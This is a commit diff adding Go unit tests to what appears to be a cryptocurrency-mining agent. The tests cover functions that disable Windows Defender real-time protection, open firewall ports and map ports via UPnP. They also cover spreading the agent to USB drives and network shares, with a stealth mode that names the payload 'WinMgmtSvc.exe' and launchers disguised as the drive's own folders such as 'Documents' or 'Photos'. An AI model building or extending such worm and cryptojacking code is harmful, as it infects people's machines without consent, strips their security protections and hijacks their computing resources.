Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
22
agent/deploy/aggressive_stub_test.go
Normal file
22
agent/deploy/aggressive_stub_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDisableDefenderRealtimeStub(t *testing.T) {
|
||||
_, err := DisableDefenderRealtime()
|
||||
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Fatalf("expected Windows-only error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOpenFirewallPortStub(t *testing.T) {
|
||||
_, err := OpenFirewallPort(8080, "test")
|
||||
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Fatalf("expected Windows-only error, got %v", err)
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -118,3 +119,18 @@ func TestResolveInstallDirWithFallback(t *testing.T) {
|
||||
t.Fatal("empty dir")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWantsSpreadInstall(t *testing.T) {
|
||||
orig := os.Args
|
||||
t.Cleanup(func() { os.Args = orig })
|
||||
|
||||
os.Args = []string{"agent"}
|
||||
if WantsSpreadInstall() {
|
||||
t.Fatal("expected false without flag")
|
||||
}
|
||||
|
||||
os.Args = []string{"agent", "--spread-install"}
|
||||
if !WantsSpreadInstall() {
|
||||
t.Fatal("expected true with --spread-install")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -162,3 +162,98 @@ func TestUpnpSOAPErrorResponse(t *testing.T) {
|
||||
t.Fatalf("expected SOAP error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReLocationParsesSSDPResponse(t *testing.T) {
|
||||
cases := []struct {
|
||||
body string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
"HTTP/1.1 200 OK\r\nLOCATION: http://192.168.0.1:49152/desc.xml\r\n\r\n",
|
||||
"http://192.168.0.1:49152/desc.xml",
|
||||
},
|
||||
{
|
||||
"location: http://10.0.0.1/igd.xml",
|
||||
"http://10.0.0.1/igd.xml",
|
||||
},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
m := reLocation.FindStringSubmatch(tc.body)
|
||||
if len(m) != 2 {
|
||||
t.Fatalf("no LOCATION match in %q", tc.body)
|
||||
}
|
||||
if got := strings.TrimSpace(m[1]); got != tc.want {
|
||||
t.Fatalf("got %q want %q", got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURLRelativeWithoutLeadingSlash(t *testing.T) {
|
||||
const igdXML = `<?xml version="1.0"?>
|
||||
<root>
|
||||
<service>
|
||||
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
|
||||
<controlURL>ctl/IPConn</controlURL>
|
||||
</service>
|
||||
</root>`
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, igdXML)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
got, err := resolveWANControlURL(srv.URL + "/igd.xml")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := srv.URL + "/ctl/IPConn"
|
||||
if got != want {
|
||||
t.Fatalf("got %q want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpSOAPRequestHeaders(t *testing.T) {
|
||||
var contentType, soapAction string
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
contentType = r.Header.Get("Content-Type")
|
||||
soapAction = r.Header.Get("SOAPAction")
|
||||
fmt.Fprint(w, `<response/>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
if _, err := upnpSOAP(srv.URL, "GetExternalIPAddress", "<body/>"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(contentType, "text/xml") {
|
||||
t.Fatalf("Content-Type: %q", contentType)
|
||||
}
|
||||
wantAction := `"urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress"`
|
||||
if soapAction != wantAction {
|
||||
t.Fatalf("SOAPAction: got %q want %q", soapAction, wantAction)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpDeletePortMapping(t *testing.T) {
|
||||
var gotBody, gotAction string
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotAction = r.Header.Get("SOAPAction")
|
||||
buf := make([]byte, 4096)
|
||||
n, _ := r.Body.Read(buf)
|
||||
gotBody = string(buf[:n])
|
||||
fmt.Fprint(w, `<?xml version="1.0"?><ok/>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
if err := upnpDeletePortMapping(srv.URL, 8989); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(gotAction, "DeletePortMapping") {
|
||||
t.Fatalf("SOAPAction: %q", gotAction)
|
||||
}
|
||||
if !strings.Contains(gotBody, "<NewExternalPort>8989</NewExternalPort>") {
|
||||
t.Fatalf("body missing port: %q", gotBody)
|
||||
}
|
||||
if !strings.Contains(gotBody, "<NewProtocol>TCP</NewProtocol>") {
|
||||
t.Fatalf("body missing protocol: %q", gotBody)
|
||||
}
|
||||
}
|
||||
|
||||
57
agent/deploy/passive_spread_unix_test.go
Normal file
57
agent/deploy/passive_spread_unix_test.go
Normal file
@@ -0,0 +1,57 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestParseLsblkMounts(t *testing.T) {
|
||||
const sample = `{
|
||||
"blockdevices": [
|
||||
{"mountpoint": "/", "hotplug": false},
|
||||
{"mountpoint": "/media/usb", "hotplug": "1"},
|
||||
{"mountpoint": null, "hotplug": true},
|
||||
{"mountpoint": "/mnt/sdcard", "hotplug": true}
|
||||
]
|
||||
}`
|
||||
got := parseLsblkMounts(sample)
|
||||
want := []string{"/media/usb", "/mnt/sdcard"}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("len %d != %d (%v)", len(got), len(want), got)
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("[%d] got %q want %q", i, got[i], want[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnixPayloadNameNonStealth(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "node worker",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := unixPayloadName(cfg); got != "node-worker" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickUnixLauncher(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
if err := os.Mkdir(filepath.Join(root, "Photos"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := pickUnixLauncher(root); got != "Photos.command" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
|
||||
empty := t.TempDir()
|
||||
if got := pickUnixLauncher(empty); got != "Start.command" {
|
||||
t.Fatalf("empty mount: got %q", got)
|
||||
}
|
||||
}
|
||||
51
agent/deploy/passive_spread_windows_test.go
Normal file
51
agent/deploy/passive_spread_windows_test.go
Normal file
@@ -0,0 +1,51 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestSharePayloadName(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "worker alpha",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := sharePayloadName(cfg); got != "worker-alpha.exe" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
|
||||
cfg.StealthMode = true
|
||||
if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" {
|
||||
t.Fatalf("stealth: got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUsbPayloadNameNonStealth(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "sync agent",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := usbPayloadName(cfg); got != "sync-agent.exe" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickLinkName(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := pickLinkName(root); got != "Documents" {
|
||||
t.Fatalf("got %q want Documents", got)
|
||||
}
|
||||
|
||||
empty := t.TempDir()
|
||||
if got := pickLinkName(empty); got != "Open Documents" {
|
||||
t.Fatalf("empty drive: got %q", got)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user